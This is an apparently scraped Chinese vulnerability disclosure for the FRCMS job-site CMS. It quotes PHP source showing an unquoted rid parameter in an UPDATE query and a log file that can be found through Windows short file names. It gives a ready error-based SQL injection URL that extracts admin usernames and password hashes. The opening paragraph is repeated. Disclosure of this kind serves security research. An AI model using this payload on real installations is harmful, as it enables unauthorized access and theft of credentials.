### 简要描述： 求20rank ### 详细说明： 看到\frcms\wap\index.php ``` $rid='';$title='我的求职简历';$chinese=$cnstatus=$visitnum=$personinfo=1; $member=$login;$adddate=dtime($fr_time,6);$flag=$regpArray[4]==1?0:1; $rsqls=$rsqlss=''; foreach($rsqlstr as $v){ $v=str_replace('r_','',$v); if(isset($$v)){ $rsqls.="r_$v,"; $rsqlss.="'".cleartags($$v)."',"; } } $rsqls=substr($rsqls,0,-1);$rsqlss=substr($rsqlss,0,-1); $db ->query("INSERT INTO {$cfg['tb_pre']}resume ($rsqls) VALUES($rsqlss)"); $_SESSION["username"]=$login; showwapmsg('注册成功!',"?a=member$w");exit(); } 省略部分代码 if($s=='interviewshow'){ $id=intval($id); $id&&$rss = $db->get_one("select * from {$cfg['tb_pre']}myinterview where i_pmember='$username' and i_id=$id limit 0,1"); $id&&$db->query("update {$cfg['tb_pre']}myinterview set i_read=1 where i_id=$id"); } if($d=='refresh'){ $rid&&$db->query("update {$cfg['tb_pre']}resume set r_adddate=NOW() where r_id='$rid'"); showwapmsg('刷新成功！','0');exit(); }elseif($d=='activate'){ $db ->query("update...
### 简要描述： 求20rank ### 详细说明： 看到\frcms\wap\index.php ``` $rid='';$title='我的求职简历';$chinese=$cnstatus=$visitnum=$personinfo=1; $member=$login;$adddate=dtime($fr_time,6);$flag=$regpArray[4]==1?0:1; $rsqls=$rsqlss=''; foreach($rsqlstr as $v){ $v=str_replace('r_','',$v); if(isset($$v)){ $rsqls.="r_$v,"; $rsqlss.="'".cleartags($$v)."',"; } } $rsqls=substr($rsqls,0,-1);$rsqlss=substr($rsqlss,0,-1); $db ->query("INSERT INTO {$cfg['tb_pre']}resume ($rsqls) VALUES($rsqlss)"); $_SESSION["username"]=$login; showwapmsg('注册成功!',"?a=member$w");exit(); } 省略部分代码 if($s=='interviewshow'){ $id=intval($id); $id&&$rss = $db->get_one("select * from {$cfg['tb_pre']}myinterview where i_pmember='$username' and i_id=$id limit 0,1"); $id&&$db->query("update {$cfg['tb_pre']}myinterview set i_read=1 where i_id=$id"); } if($d=='refresh'){ $rid&&$db->query("update {$cfg['tb_pre']}resume set r_adddate=NOW() where r_id='$rid'"); showwapmsg('刷新成功！','0');exit(); }elseif($d=='activate'){ $db ->query("update {$cfg['tb_pre']}resume set r_cnstatus=0 where r_member='$username'"); $db ->query("update {$cfg['tb_pre']}resume set r_cnstatus=1 where r_id=$rid and r_member='$username'");//进入sql语句，并且没有单引号 showwapmsg('激活成功！','0');exit(); } $smarty->assign("ishownum",$ishownum); $smarty->assign("resumelist",$resumelist); $smarty->assign("interviewlist",$interviewlist); $smarty->assign("rss",$rss); $smarty->assign("s",$s); $smarty->assign("rss",$rss); } ``` 由于这个cms有自动注册变量的机制，所以rid是可控的。我们登陆 http://127.0.0.1/frcms/wap/ 然后在我的简历处，点击激活简历，可以抓到如下数据包。 [<img src="https://images.seebug.org/upload/201503/031724157a0884b24bf677498e0f217a286d907d.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/031724157a0884b24bf677498e0f217a286d907d.png) [<img src="https://images.seebug.org/upload/201503/03172426fcac31d1daac44f2c8bd02aa36609601.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03172426fcac31d1daac44f2c8bd02aa36609601.png) 可以看到mysql已经报错了。这时的mysql日志记录为 [<img src="https://images.seebug.org/upload/201503/03172507cdd9d5184a9b31801254eeec727b2633.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03172507cdd9d5184a9b31801254eeec727b2633.png) 由于这个注入点在update语句后，只能通过盲注或报错注入来获取数据。感觉通过盲注太麻烦了。这个cms会把mysql错误记录到一个文件里面。 这个文件的命名为如下代码实现 ``` function log_write($message, $type = 'php') { global $cfg, $fr_time, $username; $userip = getip(); $fr_time or $fr_time = time(); $user = $username ? $username : 'guest'; dir_create(DATA_ROOT.'/log/'); $log_file = DATA_ROOT.'/log/'.$type.'_'.md5($cfg['cookie_encode']).'.txt'; $log = date('Y-m-d H:i:s', $fr_time)."||$userip||$user||".$_SERVER['SCRIPT_NAME']."||".str_replace('&', '&', $_SERVER['QUERY_STRING'])."||$message\r\n"; $olog=file_get_contents($log_file); fputs(fopen($log_file,"w"), $log.$olog); } ``` 通过md5$cfg['cookie_encode']，看起来好像是无法，访问到的。但是，在Windows可以通过短文件名访问。 我们只需要文件名前6位就行。而且这个log前四位固定为sql_,后面两位秒秒钟跑一下就出来了。 [<img src="https://images.seebug.org/upload/201503/0317254636e98ef35317ebf84c9a02912b1ed997.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/0317254636e98ef35317ebf84c9a02912b1ed997.png) 构造如下注入 ``` /frcms/wap/?a=member&d=activate&rid=1%0aand%0achar(@`'`)%0aor%0a(SELECT%0a1%0aFROM(SELECT%0acount(*),concat((SELECT(SELECT%0aconcat(a_user,0x27,a_pass))%0aFROM%0ajob_admin%0alimit%0a0,1),floor(rand(0)*2))x%0aFROM%0ainformation_schema.columns%0agroup%0aby%0ax)a)%0a%23`'`&wap ``` [<img src="https://images.seebug.org/upload/201503/03172633db05195090580230db6fae0329923bc4.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03172633db05195090580230db6fae0329923bc4.png) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201503/03172633db05195090580230db6fae0329923bc4.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03172633db05195090580230db6fae0329923bc4.png)
